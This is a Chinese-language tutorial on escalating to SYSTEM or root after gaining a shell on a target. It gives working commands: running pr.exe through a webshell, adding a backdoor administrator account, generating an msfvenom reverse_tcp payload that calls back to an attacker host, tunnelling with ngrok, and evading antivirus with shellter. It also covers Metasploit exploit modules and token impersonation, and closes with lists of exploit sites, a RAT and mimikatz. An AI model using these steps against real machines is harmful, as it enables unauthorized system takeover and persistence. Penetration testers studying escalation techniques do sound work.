利用系統溢出漏洞提權
溢出漏洞提權是利用目標操作系統層漏洞進行權限提升,通常步驟是拿到shell后獲取目標機器的補丁信息,通過目標的補丁情況獲取相對應的漏洞,進行提權
一、Windows 溢出提權
#Windows查看補丁信息,或者直接systeminfo wmic qfe get Caption,description,hotfixid,installedon

1.提權輔助工具windows-exploit-suggester
項目地址:https://github.com/AonCyberLabs/Windows-Exploit-Suggester
Windows-Exploit-Suggester通過下載微軟公開漏洞庫報道到本地xls文件,然后根據操作系統版本,與systeminfo的信息進行對比對從而判斷目標可能存在的溢出漏洞,需要注意的是并非所有輸出的漏洞都可以利用,實踐出真知。使用方法如下:
# 更新漏洞庫,更新完成后會在統計目錄生成包含截至目前windows所有漏洞信息 python2 windows-exploit-suggester.py --update
在目標主機上執行命令systeminfo并將輸出的結果保存為一個txt文件。
# 對比補丁情況得到目標可能存在的漏洞 python2 windows-exploit-suggester.py --database 2020-05-28-mssb.xls --system systeminfo.txt

根據返回的結果和提供的EXP地址進行漏洞利用完成提權。
Windows提權漏洞利用工具
項目地址:https://github.com/SecWiki/windows-kernel-exploits/
該項目集成了大部分windows溢出漏洞提權的EXP,可直接利用。

一般來說每個版本的服務都有成功高且穩定的漏洞,遇見這些版本的服務器在沒有打補丁的情況下優先使用對應的漏洞提權:
Windows2003:pr、巴西烤肉、2018-8020 Windows2008:利用 ms16-075劫持token(爛土豆) Windows 2012/2016:ms18-8120
例:PR提權
拿到shell后上傳cmd.exe和pr.exe,在菜刀終端窗口輸入命令進行提權,如果目標不允許上傳exe文件,這里也可以上傳其他的格式。有Windows識別的是文件PE結構,所以并不影響執行:
C:\inetpub\target\uploadlabs\upload\pr.exe "whoami"
回顯system,提權成功

利用返回的system權限創建賬號:
C:\Inetpub\wwwroot\8099\pr.exe "net user xy 123 /add && net localgroup administrators xy /add"
提權成功:

Linux 溢出提權
uname -r #查看內核版本,找對應漏洞

項目地址:https://github.com/SecWiki/linux-kernel-exploits/
根據內核版本找對應的漏洞

MSF提權
MSF的后滲透模塊十分強大,個人以為利用MSF提權相對于一個EXP一個EXP的去打目標主機要顯得溫柔很多。MSF提權的大致步驟如下:
1.生成payload
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.5 lport=1122 -f exe > /root/a.exe
2.端口轉發
實戰情況下MSF處于本地內網,目標的會話無法直接反彈到本地。利用ngrock等工具實現端口轉發,ngrock的使用方法傳送門:MSF配合Ngrock穿透內網
3.payload做免殺
如果目標主機存在較強的WAF,無法直接建立會話,那么就需要對payload進行免殺。免殺的方法很多,但是強大的不多。推薦shellter:MSF配合shellter實現360免殺
4.建立監聽
use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 192.168.1.5 set lport 1122 run
5.在目標機器上運行生成的payload,主機上線

6.拿到會話開始提權
#查看權限 getuid #嘗試自動提權,一般都沒法成功 getsystem #掛起會話 background #查看會話列表 sessions -l
MSF漏洞發現模塊
#查找補丁缺失模塊,會返回一些漏洞可直接利用 use post/windows/gather/enum_patches set session x run #這個模塊慢一點,但是相對上面那個更穩定 use post/multi/recon/local_exploit_suggester set session x run

從返回的漏洞列表尋找最合適的漏洞進行利用,例如:
use exploit/windows/local/ms15_051_client_copy_image set session 3 run
返回高權限會話,提權成功:

MSF爛土豆劫持token提權(ms16_075)
session -i 3 #調用session upload /root/potato.exe #上傳potato dir use incognito #調用token劫持模塊 list_tokens -u #查看可用的session execute -cH -f ./potato.exe #執行(沒返回就多搞幾次) impersonate_token "NT AUTHORITY\SYSTEM" #導入權限,成功提權。會返回一個system權限的會話 #如果殺軟對potato.exe 下手,只有改后綴或者找免殺版本 # 常見漏洞EXP網站 https://exploit-db.com https://packetstormsecurity.com https://packetstormsecurity.com/search/?q=ms15-057 https://www.securityfocus.com/ https://www.securityfocus.com/bid http://1337day.com http://0day.today http://seclists.org/fulldisclosure http://exploitsearch.net http://www.securiteam.com http://metasploit.com/modules http://securityreason.com https://cxsecurity.com/exploit http://securitytracker.com #提權項目合集: https://github.com/lyshark/Windows-exploits https://github.com/SecWiki/windows-kernel-exploits https://github.com/klsfct/getshell https://github.com/ianxtianxt/win-exp- https://github.com/uknowsec/SweetPotato https://github.com/uknowsec/getSystem https://github.com/s0wr0b1ndef/Linux-Kernel-Exploites #其他 https://github.com/quasar/QuasarRAT/releases https://github.com/gentilkiwi/mimikatz/release